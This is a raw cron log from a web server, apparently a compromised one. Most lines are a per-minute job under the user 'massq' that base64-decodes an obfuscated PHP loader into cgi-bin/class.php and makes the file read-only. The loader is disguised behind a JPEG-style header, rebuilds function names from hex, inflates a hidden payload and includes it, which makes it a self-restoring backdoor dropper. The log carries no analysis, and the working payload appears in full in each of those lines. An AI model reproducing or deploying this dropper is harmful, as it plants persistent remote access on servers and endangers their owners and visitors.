Nov 12 18:48:01 server CROND[28468]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 18:49:01 server CROND[29254]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 18:50:01 server CROND[30161]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 18:50:01 server CROND[30163]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 18:50:01 server CROND[30164]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 18:50:01 server CROND[30173]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 18:50:01 server CROND[30174]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 12 18:51:01 server CROND[31189]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 18:52:01 server CROND[32239]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 18:53:01 server CROND[542]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 18:54:01 server CROND[1506]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 18:55:01 server CROND[2059]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 18:55:01 server CROND[2061]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 18:55:01 server CROND[2062]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 18:56:01 server CROND[2969]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 18:57:01 server CROND[3895]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 12 18:57:01 server CROND[3896]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 18:58:01 server CROND[4805]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 18:59:01 server CROND[5601]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 19:00:01 server CROND[6463]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 19:00:01 server CROND[6464]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 19:00:01 server CROND[6466]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 19:00:01 server CROND[6465]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 19:01:01 server CROND[7417]: (root) CMD (run-parts /etc/cron.hourly)
